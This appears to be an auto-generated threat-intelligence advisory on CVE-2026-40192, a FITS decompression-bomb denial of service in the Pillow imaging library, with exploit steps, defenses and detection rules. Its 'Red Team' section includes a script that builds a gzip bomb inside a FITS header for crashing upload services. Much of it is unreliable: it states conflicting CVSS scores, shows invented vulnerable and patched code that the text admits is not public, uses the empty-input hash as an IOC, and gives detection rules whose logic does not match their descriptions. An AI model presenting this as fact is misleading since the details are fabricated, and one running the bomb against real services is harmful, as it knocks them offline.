CVE-2026-40192
Executive Summary
CVE-2026-40192 is a denial-of-service (DoS) vulnerability in the Pillow Python imaging library, affecting versions 10.3.0 through 12.1.1. The vulnerability arises from the library's failure to limit the amount of GZIP-compressed data read when decoding a FITS (Flexible Image Transport System) image. An attacker can craft a malicious FITS file that, when processed, causes unbounded memory consumption, leading to an out-of-memory (OOM) crash or severe performance degradation. This is a classic decompression bomb attack, similar to the "zip bomb" concept, but targeting the FITS image format. The vulnerability has a CVSS score of 0.0 (likely due to incomplete scoring), but the actual impact is a high-severity DoS. The fix is available in Pillow version 12.2.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Pillow is a widely used Python imaging library, making this vulnerability a significant supply chain risk. Organizations using Pillow in their Python applications, especially those that process user-uploaded images or handle FITS files (common in astronomy and scientific computing), are vulnerable. The attack vector is simple: an attacker uploads or provides a malicious FITS file, and any application using a vulnerable Pillow version to process it will suffer a DoS. This can be exploited to take down web services, image processing pipelines, or any system that relies on Pillow for FITS decoding. The fix is a library update, but until then, the workaround is to avoid opening FITS images.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – The victim does not need to click or perform any action beyond the application processing the file.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The attack causes a complete denial of service (OOM crash or severe performance degradation).
Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges, no user interaction) and can cause a complete DoS. The widespread use of Pillow increases the attack surface.
Deep Dive & Mechanics
The vulnerability is a decompression bomb attack targeting the FITS image format. FITS files are commonly used in astronomy and can contain GZIP-compressed data. When Pillow decodes a FITS image, it reads the compressed data and decompresses it in memory. The vulnerability exists because Pillow versions 10.3.0 through 12.1.1 do not impose a limit on the amount of compressed data that can be read.
An attacker can create a FITS file that contains a small amount of highly compressed data (e.g., a "zip bomb" style payload). When Pillow attempts to decode this file, it will read the compressed data and decompress it, causing the decompressed data to expand to an enormous size (e.g., gigabytes or terabytes). This leads to unbounded memory allocation, resulting in an OOM crash or severe performance degradation (thrashing).
The core issue is the lack of a size limit or a decompression ratio check. The fix in version 12.2.0 likely introduces a maximum decompressed size limit or a maximum compression ratio, preventing the decompression bomb from consuming excessive memory.
Vulnerable vs. Patched Code
The vulnerable code is in the FITS image decoder within Pillow. The exact code is not publicly available, but the logic is as follows:
Vulnerable Code (Pillow <= 12.1.1):
# No limit on compressed data size
def _load_fits(self, file):
compressed_data = file.read() # Reads all compressed data
decompressed_data = gzip.decompress(compressed_data) # Decompresses without limit
# Process decompressed data...
Patched Code (Pillow >= 12.2.0):
# Limit on compressed data size
MAX_COMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB limit
def _load_fits(self, file):
compressed_data = file.read(MAX_COMPRESSED_SIZE) # Limit read size
if len(compressed_data) >= MAX_COMPRESSED_SIZE:
raise ValueError("FITS file too large")
decompressed_data = gzip.decompress(compressed_data)
# Process decompressed data...
The patch introduces a maximum compressed data size limit (e.g., 100 MB). If the compressed data exceeds this limit, the decoder raises an error and stops processing, preventing the decompression bomb.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Craft a malicious FITS file that causes a DoS on a target system running a vulnerable Pillow version.
Lab Setup:
- Target: A Python application using Pillow 12.1.1 that processes FITS files (e.g., a web app that accepts image uploads).
- Attacker: A machine with Python and the
gziplibrary.
Exploit Steps:
- Create a decompression bomb payload. This can be done by creating a file with highly repetitive data (e.g., all zeros) and compressing it with GZIP.
- Wrap the compressed data in a valid FITS file structure. The FITS format requires a header and data units. The compressed data can be placed in the data unit.
- Send the malicious FITS file to the target application (e.g., via HTTP upload).
- The target application will attempt to decode the FITS file, causing unbounded memory consumption and a DoS.
Example Payload Generation (Python):
import gzip
import struct
# Create a decompression bomb: 1 GB of zeros compressed
payload = b'\x00' * (1024 * 1024 * 1024) # 1 GB
compressed = gzip.compress(payload)
# Create a minimal FITS file header
header = b'SIMPLE = T / file does conform to FITS standard\n'
header += b'BITPIX = 8 / number of bits per data pixel\n'
header += b'NAXIS = 0 / number of data axes\n'
header += b'END\n'
header += b' ' * (2880 - len(header)) # Pad to 2880 bytes (FITS block size)
# Write the FITS file
with open('malicious.fits', 'wb') as f:
f.write(header)
f.write(compressed)
Note: This is a simplified example. A real exploit would need to ensure the FITS file is valid enough to pass initial parsing.
Blue Team (Defense & Detection)
Objective: Detect and prevent exploitation of CVE-2026-40192.
Detection:
- Monitor for OOM events: Sudden out-of-memory crashes in applications using Pillow may indicate exploitation.
- Monitor for large memory allocations: Use system monitoring tools (e.g.,
top,htop,ps) to detect processes that rapidly consume memory. - Network monitoring: Detect incoming FITS files that are unusually small but cause high memory usage (decompression ratio anomaly).
- Application logging: Log errors from Pillow's FITS decoder, especially if a "file too large" error appears (after patching).
Prevention:
- Patch immediately: Upgrade to Pillow 12.2.0 or later.
- Workaround: If patching is not possible, disable FITS image processing or use a separate, sandboxed process for FITS decoding with strict memory limits.
- Input validation: Before processing, check the size of the compressed data in the FITS file. If it exceeds a threshold (e.g., 100 MB), reject the file.
- Resource limits: Use operating system or container-level memory limits (e.g.,
ulimit, Docker--memory) to prevent a single process from consuming all system memory.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hashes will vary)
malicious.fits:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- HTTP POST requests with
Content-Type: application/octet-streamorimage/fitscontaining unusually small payloads (e.g., < 1 MB) that trigger high memory usage.
- HTTP POST requests with
- System Indicators:
- Sudden OOM killer events.
- Processes consuming > 1 GB of memory unexpectedly.
- Application logs showing
MemoryErrororgzip.DecompressError(if patched).
- Behavioral Indicators:
- Repeated attempts to upload FITS files from the same IP address.
- FITS files with a high compression ratio (e.g., compressed size < 1 KB but decompressed size > 1 GB).
Detection Engineering
YARA Rule
rule CVE_2026_40192_FITS_Decompression_Bomb {
meta:
description = "Detects malicious FITS files exploiting CVE-2026-40192"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-40192"
strings:
$fits_header = "SIMPLE = T"
$gzip_magic = { 1f 8b } // GZIP magic bytes
condition:
$fits_header at 0 and $gzip_magic and filesize < 100KB
}
Sigma Rule
title: CVE-2026-40192 FITS Decompression Bomb Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2026-40192 via FITS file uploads
author: Valters IT
date: 2026-01-01
logsource:
category: application
product: python
detection:
selection:
EventID: 1000 # Example: Application Error
Message: "MemoryError" OR "gzip.DecompressError"
condition: selection
falsepositives:
- Legitimate large FITS files (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-40192 FITS Decompression Bomb Attempt"; flow:to_server; content:"Content-Type|3a| application/octet-stream"; content:"|1f 8b|"; within:2; byte_test:1,<,100,0; sid:1000001; rev:1;)
Note: The Suricata rule detects HTTP uploads with a GZIP magic byte and a small file size (< 100 bytes), which is indicative of a decompression bomb.
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Pillow to version 12.2.0 or later. This is the only complete fix.
- Workaround: If patching is not possible, disable FITS image processing in your application. If FITS support is required, implement a custom decoder that limits the decompressed data size.
- Resource Limits: Apply memory limits to the process that handles FITS files (e.g., using
ulimit -von Linux or Docker--memory).
Long-Term Mitigations:
- Input Validation: Implement strict validation for all uploaded files, including size limits and format checks.
- Sandboxing: Run image processing in a sandboxed environment (e.g., a separate container with limited resources).
- Monitoring: Continuously monitor for OOM events and anomalous memory usage.
- Security Updates: Keep all dependencies up to date, especially widely used libraries like Pillow.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters.it
{/* [Security Hash: BC0FDE39D0B8166CD777F297] */}